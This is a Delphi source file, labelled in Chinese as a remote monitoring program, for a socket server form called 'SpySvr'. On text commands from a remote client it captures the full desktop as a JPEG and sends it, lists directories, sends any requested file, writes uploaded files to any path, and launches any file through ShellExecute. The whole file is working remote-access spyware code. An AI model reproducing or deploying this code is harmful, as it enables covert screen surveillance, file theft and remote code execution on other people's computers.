umain.~pa

一个远程监控程序

unit Umain;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  jpeg, ScktComp, shellapi, StdCtrls;
type
  TState = (stwait, stspy, stsend, streceive, stGetFile);
  TfmSpySvr = class(TForm)
    ServerSocket1: TServerSocket;
    ListBox1: TListBox;
    procedure FormCreate(Sender: TObject);
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
  private
    { Private declarations }
    operFile : File of Byte;
    State : TState;
    cachefile : string;
    opFile    : file of byte;
    buf       : array[0..1023] of byte;
    Counter, count   : integer;
    LastDrive : char;
  public
    { Public declarations }
  end;

var
  fmSpySvr: TfmSpySvr;

implementation

{$R *.DFM}

procedure TfmSpySvr.FormCreate(Sender: TObject);
var
   dchar : char;
   temp : string;
   result : integer;
begin
  State := stWait;
  dchar := 'b';
  repeat
    inc(dchar);
    temp := dchar + ':\';
    result := getDriveType(@temp[1]);
  until result <> DRIVE_FIXED;
  dec(dchar);
  CacheFile := dchar + ':\profile.tmp';
  caption := cachefile;
  LastDrive := 'b';
  repeat
    Inc(LastDrive);
  until GetDriveType(pchar(LastDrive + ':\')) = 1;
  dec(LastDrive);
  caption := lastDrive;
end;

procedure TfmSpySvr.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
   tempText, temp : String;
   bitmap         : TBitMap;
   desktopCanvas  : TCanvas;
   jpegpic        : TJpegImage;
   NumRead        : integer;
   result         : boolean;
   f              : TSearchRec;
   length, i      : integer;

begin
  if State = stWait then
  begin
    tempText := socket.ReceiveText;
    if tempText = 'spy' then
    begin
      State := stSpy;
      bitmap := TBitmap.Create;
      DesktopCanvas := TCanvas.Create;
      jpegPic := TjpegImage.Create;
      Desktopcanvas.Handle := GetDc(Hwnd_Desktop);
      try
         Bitmap.Width := Screen.Width;
         Bitmap.Height := Screen.Height;
         Bitmap.Canvas.CopyRect(BitMap.canvas.cliprect,DesktopCanvas,Bitmap.canvas.Cliprect);
         JpegPic.Assign(Bitmap);
         jpegPic.CompressionQuality := 60;
         jpegPIc.Compress;
         JpegPic.SaveToFile(cachefile);
      finally
          BitMap.Free;
          DesktopCanvas.Free;
          releaseDc(handle,hwnd_Desktop);
          assignfile(opFile,cacheFile);
          reset(opFile);
          blockread(opfile,buf,sizeof(buf),Numread);
          socket.SendBuf(buf,NumRead);
          Counter := NumRead;
          caption := InttoStr(Counter);
          if Numread < sizeof(buf) then
          begin
          state := stWait;
          CloseFile(opFile);
          caption := 'done!'
          end else state := stSend;
      end;
    end
    else if tempText = 'lastdrive' then
    socket.SendText(LastDrive)
    else if temptext[1] = 'f' then
    begin
      listbox1.Clear;
      count := 0;
      delete(temptext,1,1);
      caption := temptext;
      result := findfirst(temptext,faAnyFile,f) = 0;
      if Result then
      begin
        counter := 1;
        if (f.Attr and faDirectory) = fadirectory  then
        temptext := 'd' + f.Name + #13 + IntToStr(f.size)
        else temptext := 'f' + f.Name + #13 + IntToStr(f.size);
        listbox1.Items.Add(f.name);
        inc(Count);
        caption := intToStr(count);
        State := stGetFile;
        temptext := temptext + #13;
        repeat
          result := findnext(f) = 0;
          if result then
          begin
            counter := counter + 1;
            if f.Attr = faDirectory then
            temptext := temptext + 'd' + f.Name + #13 + IntToStr(f.size)
            else temptext := temptext + 'f' + f.Name + #13 + IntToStr(f.size);
            temptext := temptext + #13;
            listbox1.Items.Add(f.name);
            inc(Count);
            caption := IntToStr(Count);
          end else
          begin
            State := stWait;
            findclose(f);
          end
        until (not result)or(counter >= 10);
        if not result then state := stwait
        else state := stGetfile;
        socket.SendText(temptext);
      end else
      begin
        tempText := ' ';
        socket.Sendtext(temptext);
        state := stwait;
      end;
    end else if TempText[1] = 'd' then
    begin
      delete(temptext,1,1);
      assignfile(opFile,temptext);
      reset(opFile);
      blockread(opfile,buf,sizeof(buf),NumRead);
      Socket.SendBuf(buf,NumRead);
      if NumRead < Sizeof(buf) then
      State := stWait
      else State := stSend;
    end else if tempText[1] = 'u' then
    begin
      delete(temptext,1,1);
      assignFile(opFile,temptext);
      rewrite(opFile);
      State := stReceive;
      Socket.SendText('next');
    end else if temptext[1] = 'e' then
    begin
      delete(temptext,1,1);
      shellExecute(0,pchar('open'),pchar(temptext),nil,pchar(ExtractFileDir(temptext)),SW_SHOW);
    end;
  end
  else if State = stSend then
  begin
    tempText := Socket.ReceiveText;
    if temptext = 'next' then
    begin
      BlockRead(opFile,buf,sizeof(buf),NumRead);
      Socket.SendBuf(buf,NumRead);
      Counter := Counter + Numread;
      Caption := IntToStr(Counter);
      if NumRead < Sizeof(buf) then
      begin
        State := stWait;
        CloseFile(opFile);
        caption := 'Done!'
      end;
    end else if temptext = 'reset' then
    begin
      State := stWait;
      CloseFile(opFile);
      socket.Close;
      Caption := 'reseted!'
    end
  end
  else if State = stGetFile then
  begin
    tempText := Socket.ReceiveText;
    if tempText = 'next' then
    begin
      temptext := '';
      counter := 0;
      repeat
        result := findnext(f) = 0;
        if result then
        begin
          counter := counter + 1;
          if (f.Attr and fadirectory) = faDirectory then
          temptext := temptext + 'd' + f.Name + #13 + IntToStr(f.size)
          else temptext := temptext + 'f' + f.Name + #13 + IntToStr(f.size);
          temptext := temptext + #13;
          listbox1.Items.Add(f.name);
          inc(Count);
          caption := IntToStr(count);
        end
      until (not result) or (counter >= 10);
      if counter < 10 then state := stwait;
      if counter = 0 then temptext := ' ';
      socket.SendText(temptext);
    end else if temptext = 'reset' then
    begin
      State := stWait;
      findClose(f)
    end;
  end else if State = stReceive then
  begin
    length := socket.ReceiveLength;
    socket.ReceiveBuf(buf,Length);
    BlockWrite(opFile,buf,length);
    if Length < SizeOf(buf) then
    begin
      state := stWait;
      CloseFile(opFile);
    end else socket.SendText('next');
  end;
end;

end.